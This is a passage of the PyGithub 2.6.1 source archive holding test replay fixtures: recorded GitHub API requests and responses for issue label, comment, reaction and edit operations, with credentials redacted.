/repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] https POST api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Bug", "Question"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"},{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"},{"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testAttributes.txt0000644000175100001660000000452114756101563023036 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5dc65a168cf4d957347ea04221cd5102"'), ('date', 'Sat, 26 May 2012 14:59:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T11:25:48Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:PyGithub/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/PyGithub/PyGithub.git","html_url":"https://github.com/PyGithub/PyGithub","full_name":"PyGithub/PyGithub","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testCreateComment.txt0000644000175100001660000000221014756101563023427 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/issues/28/comments {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment created by PyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4996'), ('content-length', '506'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"08cea7c821f6f3378e38921a9e7bc05e"'), ('date', 'Sun, 20 May 2012 11:46:43 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5808311')] {"updated_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/5808311","created_at":"2012-05-20T11:46:42Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":5808311} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testCreateReaction.txt0000644000175100001660000000455214756101563023604 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/issues/28/reactions {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} {"content": "hooray"} 201 [('content-length', '999'), ('x-runtime-rack', '0.064776'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"7ee883662296ef73c5ea00f358ccb45b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DD3F:0DD6:11917A:244AED:5A260984'), ('date', 'Tue, 05 Dec 2017 02:50:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"id":16917472,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-05T02:50:44Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testDeleteAndSetLabels.txt0000644000175100001660000001036614756101563024340 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fe2e942523eecb156d100829a6347516"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"} https GET api.github.com None /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"931e58d337b2290717303141eda89cd7"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"},{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"},{"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https PUT api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Bug", "Question"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testDeleteAndSetLabelsWithStringArguments.txt0000755000175100001660000000614214756101563030251 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"},{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"},{"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [] https PUT api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Bug", "Question"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testDeleteReaction.txt0000644000175100001660000000255114756101563023600 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/reactions/85740167 {'Accept': 'application/vnd.github.squirrel-girl-preview', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Mon, 28 Sep 2020 20:23:03 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4955'), ('X-RateLimit-Reset', '1601324668'), ('X-RateLimit-Used', '45'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'AE16:FACE:CAD7D10:F1C172A:5F724627')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditResetAssignee.txt0000644000175100001660000000473714756101563024270 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignee": ""} 200 [('status', '200 OK'), ('content-length', '1853'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"6947b498e9fd9f792130d6c80982b949"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 11 Sep 2012 18:47:24 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"body":"Body edited by PyGithub","closed_at":"2012-05-26T14:59:33Z","milestone":{"due_on":"2012-03-13T07:00:00Z","description":"","created_at":"2012-03-08T12:22:10Z","closed_issues":3,"title":"Version 0.4","open_issues":0,"state":"closed","creator":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"number":1,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","id":93546},"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question"}],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"pull_request":{"html_url":null,"patch_url":null,"diff_url":null},"created_at":"2012-05-19T10:38:23Z","comments":0,"closed_by":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"title":"Issue created by PyGithub","html_url":"https://github.com/PyGithub/PyGithub/issues/28","assignee":null,"state":"closed","number":28,"updated_at":"2012-09-11T18:47:24Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","id":4653757} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditResetMilestone.txt0000644000175100001660000000366314756101563024466 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"milestone": ""} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('content-length', '1296'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"71423b9f379e4978b85005a6dc6820ed"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 11 Sep 2012 18:48:34 GMT'), ('content-type', 'application/json; charset=utf-8')] {"body":"Body edited by PyGithub","closed_at":"2012-05-26T14:59:33Z","milestone":null,"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question"}],"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"created_at":"2012-05-19T10:38:23Z","comments":0,"closed_by":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"title":"Issue created by PyGithub","assignee":null,"state":"closed","number":28,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","updated_at":"2012-09-11T18:48:34Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","id":4653757} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditWithAllParameters.txt0000644000175100001660000001306114756101563025105 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"62c7a8cbbce2a245818e460643df01ea"'), ('date', 'Fri, 01 Jun 2012 18:53:23 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_gists":3,"type":"User","total_private_repos":5,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","private_gists":5,"collaborators":0,"email":"vincent@vincent-jacques.net","owned_private_repos":5,"public_repos":10,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","url":"https://api.github.com/users/jacquev6","following":24,"blog":"http://vincent-jacques.net","disk_usage":16900,"name":"Vincent Jacques","hireable":false,"followers":13,"html_url":"https://github.com/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146,"plan":{"collaborators":1,"private_repos":5,"space":614400,"name":"micro"},"bio":""} https GET api.github.com None /repos/PyGithub/PyGithub/milestones/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '899'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3a7652875cbbfe2a93b7307ab7a3deac"'), ('date', 'Fri, 01 Jun 2012 18:53:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"title":"Version 1.0: coherent public interface","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_issues":13,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":"2012-06-04T07:00:00Z","open_issues":6,"number":2,"id":93547} https PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Body edited by PyGithub", "title": "Title edited by PyGithub", "labels": ["Bug"], "assignee": "jacquev6", "assignees": ["jacquev6"], "state": "open", "milestone": 2} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/PyGithub/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testEditWithStateReasonNotPlanned.txt0000644000175100001660000000604314756101563026566 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"state": "closed", "state_reason": "not_planned"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] 